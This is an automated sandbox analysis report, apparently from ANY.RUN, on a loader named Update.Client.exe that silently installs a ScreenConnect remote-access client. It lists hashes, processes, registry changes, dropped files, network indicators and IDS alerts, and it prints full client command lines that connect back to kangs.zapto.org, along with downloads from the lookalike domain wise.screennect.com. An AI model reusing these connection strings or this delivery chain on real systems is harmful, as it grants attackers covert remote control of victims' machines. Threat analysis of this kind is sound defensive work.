| File name: | Update.Client.exe |
| Full analysis: | https://app.any.run/tasks/6651a752-df6d-464f-949a-798b10e5f366 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | February 23, 2025, 04:22:30 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections |
| MD5: | C82B07D77BE6CBC1CD107000A64F05BE |
| SHA1: | 8BC8818ED31F71F8493C33E3B18F341B32D77810 |
| SHA256: | CC074013270A829D25DD8C6D51C77A2B85DD0BF4CD2DA40532CD55745A32885A |
| SSDEEP: | 1536:ohNeDLHPUVkKo2cgigKIhTnH2QjCdqQsWQcdUkBbfqNNK:vDLHcVkKo2cZgKIhTH2U+lU2bfq |
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2024:10:28 17:41:07+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 14.39 |
| CodeSize: | 40448 |
| InitializedDataSize: | 32768 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x1489 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2136 | C:\WINDOWS\SysWOW64\WerFault.exe -u -p 3040 -s 324 | C:\Windows\SysWOW64\WerFault.exe | Update.Client.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Problem Reporting Exit code: 0 Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2192 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2216 | "C:\Users\admin\AppData\Local\Apps\2.0\R7P2M60V.1YW\9YX6JECA.QQQ\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=b9b61789-b2df-401f-acc8-353cfefd881a&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1" | C:\Users\admin\AppData\Local\Apps\2.0\R7P2M60V.1YW\9YX6JECA.QQQ\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe | services.exe | ||||||||||||
User: SYSTEM Integrity Level: SYSTEM Version: 24.3.7.9067 Modules
| |||||||||||||||
| 3040 | "C:\Users\admin\Desktop\Update.Client.exe" | C:\Users\admin\Desktop\Update.Client.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221225477 Modules
| |||||||||||||||
| 3812 | "C:\Users\admin\AppData\Local\Apps\2.0\R7P2M60V.1YW\9YX6JECA.QQQ\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" | C:\Users\admin\AppData\Local\Apps\2.0\R7P2M60V.1YW\9YX6JECA.QQQ\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe | — | dfsvc.exe | |||||||||||
User: admin Company: ScreenConnect Software Integrity Level: MEDIUM Description: ScreenConnect Client Exit code: 0 Version: 24.3.7.9067 Modules
| |||||||||||||||
| 4444 | "C:\Users\admin\AppData\Local\Apps\2.0\R7P2M60V.1YW\9YX6JECA.QQQ\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=b9b61789-b2df-401f-acc8-353cfefd881a&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1" | C:\Users\admin\AppData\Local\Apps\2.0\R7P2M60V.1YW\9YX6JECA.QQQ\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe | ScreenConnect.WindowsClient.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Version: 24.3.7.9067 Modules
| |||||||||||||||
| 5092 | "C:\Users\admin\AppData\Local\Apps\2.0\R7P2M60V.1YW\9YX6JECA.QQQ\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" "RunRole" "600d648b-1d33-4766-b455-aaf12018652f" "User" | C:\Users\admin\AppData\Local\Apps\2.0\R7P2M60V.1YW\9YX6JECA.QQQ\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe | — | ScreenConnect.ClientService.exe | |||||||||||
User: admin Company: ScreenConnect Software Integrity Level: MEDIUM Description: ScreenConnect Client Version: 24.3.7.9067 Modules
| |||||||||||||||
| 5720 | "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe | Update.Client.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: ClickOnce Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| (PID) Process: | (5720) dfsvc.exe | Key: | HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0 |
| Operation: | write | Name: | ComponentStore_RandomString |
Value: YOM6XV3KD35E3DKK0B7HQ5WX | |||
| (PID) Process: | (5720) dfsvc.exe | Key: | HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0 |
| Operation: | delete value | Name: | ComponentStore_RandomString |
Value: YOM6XV3KD35E3DKK0B7HQ5WX | |||
| (PID) Process: | (5720) dfsvc.exe | Key: | HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0 |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (5720) dfsvc.exe | Key: | HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0 |
| Operation: | write | Name: | ComponentStore_RandomString |
Value: R7P2M60V1YW9YX6JECAQQQVL | |||
| (PID) Process: | (5720) dfsvc.exe | Key: | HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager |
| Operation: | write | Name: | StateStore_RandomString |
Value: MYM9C79XZ986WWHB4C5R45LT | |||
| (PID) Process: | (5720) dfsvc.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dfsvc_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (5720) dfsvc.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dfsvc_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (5720) dfsvc.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dfsvc_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (5720) dfsvc.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dfsvc_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (5720) dfsvc.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dfsvc_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5720 | dfsvc.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B | binary | |
MD5:CB7048D801EE095607C32D274A16B8AE | SHA256:5B4F4CA57B021A3125ADE73F930FD91792236CAE630DC517B2329CFCC3D4050D | |||
| 5720 | dfsvc.exe | C:\Users\admin\AppData\Local\Temp\Deployment\BVNR8NEQ.5JB\EALZ9X5K.9DO.application | xml | |
MD5:85C8AA171EF8213B725157DCE97AF6CD | SHA256:D27D1439C1809AE8EDA24F17C9FF9B50271A54D9F200A6793A406B86182B6552 | |||
| 5720 | dfsvc.exe | C:\Users\admin\AppData\Local\Temp\Deployment\YBR6BAMO.8D2\DL8EWAAM.PGD\ScreenConnect.WindowsClient.exe.manifest | xml | |
MD5:7F68A01C2FEA1C80A75E287BB36D6B43 | SHA256:2E0E46F395D5A6440F179B61C4008ABF3D72CFCDA705A543C8EE18B41D37B025 | |||
| 5720 | dfsvc.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 | binary | |
MD5:58EEBAF292402C3810E061EF86B72E6B | SHA256:AF286F135E179069F7AFD27238A2BB7E7FEBF502FB64BF678407270D08685DAD | |||
| 5720 | dfsvc.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B | binary | |
MD5:DDC076E0C339283564037D69C7823376 | SHA256:10C61D67F7CAEE4131FDA65993471667063E13472AB6644B218A7BC90FFD1077 | |||
| 5720 | dfsvc.exe | C:\Users\admin\AppData\Local\Temp\Deployment\YBR6BAMO.8D2\DL8EWAAM.PGD\ScreenConnect.WindowsBackstageShell.exe.config | xml | |
MD5:728175E20FFBCEB46760BB5E1112F38B | SHA256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077 | |||
| 5720 | dfsvc.exe | C:\Users\admin\AppData\Local\Temp\Deployment\YBR6BAMO.8D2\DL8EWAAM.PGD\ScreenConnect.WindowsBackstageShell.exe | executable | |
MD5:AFA97CAF20F3608799E670E9D6253247 | SHA256:E25F32BA3FA32FD0DDD99EB65B26835E30829B5E4B58573690AA717E093A5D8F | |||
| 5720 | dfsvc.exe | C:\Users\admin\AppData\Local\Temp\Deployment\YBR6BAMO.8D2\DL8EWAAM.PGD\ScreenConnect.WindowsFileManager.exe.config | xml | |
MD5:728175E20FFBCEB46760BB5E1112F38B | SHA256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077 | |||
| 5720 | dfsvc.exe | C:\Users\admin\AppData\Local\Temp\Deployment\YBR6BAMO.8D2\DL8EWAAM.PGD\ScreenConnect.Windows.dll | executable | |
MD5:9AD3964BA3AD24C42C567E47F88C82B2 | SHA256:84A09ED81AFC5FF9A17F81763C044C82A2D9E26F852DE528112153EE9AB041D0 | |||
| 5720 | dfsvc.exe | C:\Users\admin\AppData\Local\Temp\Deployment\YBR6BAMO.8D2\DL8EWAAM.PGD\ScreenConnect.WindowsFileManager.exe | executable | |
MD5:1AEE526DC110E24D1399AFFCCD452AB3 | SHA256:EBD04A4540D6E76776BD58DEEA627345D0F8FBA2C04CC65BE5E979A8A67A62A1 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2144 | RUXIMICS.exe | GET | 200 | 23.216.77.28:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4504 | svchost.exe | GET | 200 | 23.216.77.28:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
2144 | RUXIMICS.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 51.79.171.167:443 | https://wise.screennect.com/Bin/ScreenConnect.Client.manifest | unknown | — | — | — |
5720 | dfsvc.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D | unknown | — | — | whitelisted |
5720 | dfsvc.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEAuTYAUbzPZmQpmJmNW6l84%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 51.79.171.167:443 | https://wise.screennect.com/Bin/ScreenConnect.WindowsBackstageShell.exe | unknown | — | — | — |
— | — | GET | 200 | 51.79.171.167:443 | https://wise.screennect.com/Bin/ScreenConnect.WindowsFileManager.exe.config | unknown | — | — | — |
— | — | GET | 200 | 51.79.171.167:443 | https://wise.screennect.com/Bin/ScreenConnect.WindowsClient.exe.config | unknown | — | — | — |
— | — | GET | 200 | 51.79.171.167:443 | https://wise.screennect.com/Bin/ScreenConnect.WindowsBackstageShell.exe.config | unknown | — | — | — |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4504 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2144 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5720 | dfsvc.exe | 51.79.171.167:443 | wise.screennect.com | OVH SAS | SG | suspicious |
4504 | svchost.exe | 23.216.77.28:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
2144 | RUXIMICS.exe | 23.216.77.28:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
2144 | RUXIMICS.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
wise.screennect.com |
| malicious |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
kangs.zapto.org |
| unknown |
watson.events.data.microsoft.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
— | — | Potential Corporate Privacy Violation | ET INFO PE EXE or DLL Windows file download HTTP |
— | — | Misc activity | ET INFO Packed Executable Download |
— | — | A Network Trojan was detected | ET MALWARE Possible Windows executable sent when remote host claims to send html content |
— | — | Misc activity | ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) |
— | — | A Network Trojan was detected | ET MALWARE Possible Windows executable sent when remote host claims to send html content |
— | — | A Network Trojan was detected | ET MALWARE Possible Windows executable sent when remote host claims to send html content |
— | — | A Network Trojan was detected | ET MALWARE Possible Windows executable sent when remote host claims to send html content |
2192 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DNS Query to DynDNS Domain *.zapto .org |
2216 | ScreenConnect.ClientService.exe | Potential Corporate Privacy Violation | REMOTE [ANY.RUN] ScreenConnect Server Response |
Process | Message |
|---|---|
dfsvc.exe |
*** Status originated: -1073741811
*** Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
|
dfsvc.exe |
*** Status originated: -1073741811
*** Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
|
dfsvc.exe |
*** Status originated: -1073741811
*** Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
|
dfsvc.exe |
*** Status originated: -1073741811
*** Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
|
dfsvc.exe |
*** Status originated: -1073741772
*** Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\win32\isoreg_direct.cpp, line 1127
|
dfsvc.exe |
*** Status originated: -1073741772
*** Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\win32\isoreg_direct.cpp, line 1127
|
dfsvc.exe |
*** Status originated: -1073741811
*** Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
|
dfsvc.exe |
*** Status originated: -1073741811
*** Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
|
dfsvc.exe |
*** Status originated: -1073741811
*** Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
|
dfsvc.exe |
*** Status originated: -1073741811
*** Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
|